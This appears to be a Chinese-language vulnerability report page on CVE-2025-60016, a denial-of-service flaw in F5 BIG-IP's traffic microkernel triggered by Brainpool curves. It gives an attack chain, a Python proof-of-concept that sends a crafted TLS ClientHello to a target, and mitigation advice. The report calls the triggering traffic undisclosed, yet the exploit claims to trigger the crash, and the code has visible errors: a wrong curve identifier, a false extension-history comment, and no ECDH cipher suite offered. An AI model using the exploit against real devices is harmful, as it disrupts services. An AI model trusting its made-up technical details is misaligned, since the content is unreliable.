IPBUF安全漏洞报告
English
CVE-2025-60016 CVSS 7.5 高危

CVE-2025-60016:F5 BIG-IP SSL配置中Brainpool曲线导致TMM终止

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-60016
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
F5 BIG-IP(Traffic Management Microkernel / TMM)

相关标签

CVE-2025-60016F5 BIG-IPTMM拒绝服务DoSBrainpool曲线椭圆曲线密码学ECCDiffie-HellmanSSL/TLS

漏洞概述

CVE-2025-60016是F5 BIG-IP产品中的一个高危拒绝服务漏洞,CVSS评分为7.5。该漏洞存在于F5 BIG-IP的流量管理微内核(TMM)中。当管理员在SSL配置文件的Cipher Rule或Cipher Group中配置了Diffie-Hellman(DH)组的椭圆曲线密码学(ECC)Brainpool曲线,并且该SSL配置文件被应用于虚拟服务器时,未公开披露的特定网络流量可以导致TMM进程异常终止。由于TMM是BIG-IP设备处理所有网络流量的核心进程,其终止将导致设备完全停止处理流量,造成严重的业务中断和服务不可用。该漏洞由F5安全事件响应团队([email protected])发现并报告,披露日期为2025年10月15日。值得注意的是,已达到技术支持终止(EoTS)阶段的软件版本不再进行评估,因此用户需要确认其运行的BIG-IP版本是否仍在支持周期内。此漏洞的攻击向量为网络攻击,无需认证和用户交互即可触发,攻击门槛较低,对可用性影响为高,但对机密性和完整性无直接影响。

技术细节

F5 BIG-IP的TMM(Traffic Management Microkernel)是负责处理所有网络数据包转发的核心组件,运行在数据平面上。当SSL/TLS配置文件中的Cipher Rule或Cipher Group启用了Brainpool椭圆曲线(Brainpool curves)作为Diffie-Hellman密钥交换的椭圆曲线参数时,TMM在处理特定类型的TLS握手或加密流量时存在缺陷。Brainpool曲线是一组基于RFC 5639标准的椭圆曲线,包括brainpoolP256r1、brainpoolP384r1、brainpoolP512r1等。漏洞的根本原因在于TMM在处理包含Brainpool曲线参数的TLS握手消息或加密数据时,未能正确验证或处理某些边界条件,导致TMM进程崩溃(core dump或异常退出)。攻击者可以通过向目标BIG-IP设备的受影响虚拟服务器发送精心构造的TLS握手请求或包含特定Brainpool曲线参数的加密流量,触发该漏洞。由于TMM是单进程处理网络流量的核心组件,一旦TMM终止,整个BIG-IP设备将停止处理流量,直到TMM被自动重启或管理员手动干预。在TMM重启期间,所有经过该设备的网络流量将被丢弃,可能导致严重的业务中断。该漏洞的攻击复杂度低,无需认证即可通过网络远程触发,是典型的远程拒绝服务漏洞。

攻击链分析

STEP 1
步骤1:侦察目标
攻击者通过网络扫描或信息收集,识别目标环境中部署了F5 BIG-IP设备的虚拟服务器,并确认其SSL配置文件中是否启用了Brainpool椭圆曲线(brainpoolP256r1、brainpoolP384r1、brainpoolP512r1等)。
STEP 2
步骤2:构造恶意TLS握手请求
攻击者构造包含Brainpool曲线参数的TLS ClientHello消息,通过在supported_groups扩展中指定Brainpool曲线,强制服务器在密钥交换阶段使用Brainpool曲线进行椭圆曲线Diffie-Hellman(ECDH)密钥交换。
STEP 3
步骤3:发送恶意流量
攻击者将构造好的TLS握手请求发送到目标BIG-IP虚拟服务器的SSL监听端口,无需任何认证或用户交互即可触发漏洞。
STEP 4
步骤4:触发TMM终止
BIG-IP的TMM在处理包含Brainpool曲线参数的TLS握手消息时,由于代码缺陷导致进程异常终止(crash)。TMM是BIG-IP处理所有网络流量的核心进程,其终止将导致设备完全停止处理流量。
STEP 5
步骤5:服务中断
TMM终止后,所有经过该BIG-IP设备的网络流量被丢弃,造成严重的业务中断。在TMM自动重启期间,服务持续不可用,攻击者可以反复触发以维持拒绝服务状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60016 PoC - F5 BIG-IP TMM DoS via Brainpool ECC Curves # This PoC demonstrates triggering TMM termination by sending # a TLS handshake with Brainpool curves to a vulnerable BIG-IP virtual server # with Brainpool curves configured in SSL profile's Cipher Rule/Group. import socket import ssl import struct import sys TARGET_HOST = "192.168.1.100" # Replace with target BIG-IP VIP TARGET_PORT = 443 # HTTPS port def build_tls_client_hello_with_brainpool(): """ Build a TLS ClientHello message forcing Brainpool curves in the supported_groups extension. """ # TLS record header: ContentType(22=Handshake) + Version(TLS 1.2) + Length # Handshake type: ClientHello (1) # Brainpool curve IDs (from RFC 5639 / IANA) brainpool_p256r1 = 0x001A # brainpoolP256r1 brainpool_p384r1 = 0x001B # brainpoolP384r1 brainpool_p512r1 = 0x001D # brainpoolP512r1 # Supported Groups Extension (renamed from EC Point Formats) supported_groups_ext = struct.pack('!H', len([brainpool_p256r1, brainpool_p384r1, brainpool_p512r1]) * 2) supported_groups_ext += struct.pack('!H', brainpool_p256r1) supported_groups_ext += struct.pack('!H', brainpool_p384r1) supported_groups_ext += struct.pack('!H', brainpool_p512r1) # Extension data extensions = struct.pack('!HH', 0x000A, len(supported_groups_ext)) # supported_groups extension type extensions += supported_groups_ext # ClientHello body client_hello = b'\x03\x03' # Client version: TLS 1.2 client_hello += b'\x00' * 32 # Random client_hello += b'\x00' # Session ID length: 0 client_hello += b'\x00\x02\x00\xff' # Cipher suites: TLS_EMPTY_RENEGOTIATION_INFO_SCSV client_hello += b'\x01\x00' # Compression methods: null client_hello += struct.pack('!H', len(extensions)) # Extensions length client_hello += extensions # Handshake header handshake = struct.pack('!B', 1) # ClientHello type handshake += struct.pack('!I', len(client_hello))[1:] # Length (3 bytes) handshake += client_hello # TLS record tls_record = struct.pack('!BHH', 22, 0x0301, len(handshake)) tls_record += handshake return tls_record def trigger_vulnerability(): """Send the crafted TLS ClientHello to trigger TMM termination.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) payload = build_tls_client_hello_with_brainpool() sock.send(payload) print(f"[+] Sent crafted TLS ClientHello with Brainpool curves to {TARGET_HOST}:{TARGET_PORT}") print("[+] If the target is vulnerable, TMM should terminate shortly") sock.close() except Exception as e: print(f"[-] Error: {e}") sys.exit(1) if __name__ == "__main__": trigger_vulnerability()

影响范围

F5 BIG-IP(具体受影响版本请参考F5官方安全公告K000139514)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)检查并修改所有SSL配置文件的Cipher Rule和Cipher Group,移除所有Brainpool椭圆曲线(如brainpoolP256r1、brainpoolP384r1、brainpoolP512r1等)的配置,将其替换为标准椭圆曲线(如P-256、P-384、P-521);2)在升级修复版本之前,临时禁用使用受影响SSL配置文件的虚拟服务器,或将其SSL配置切换为不包含Brainpool曲线的配置;3)启用BIG-IP的高可用性配置,确保在TMM崩溃时能够快速故障转移,减少服务中断时间;4)通过网络防火墙或访问控制列表(ACL)限制对BIG-IP管理端口和SSL监听端口的访问,减少攻击面;5)密切监控TMM的运行状态和系统日志,及时发现异常终止事件并采取应对措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表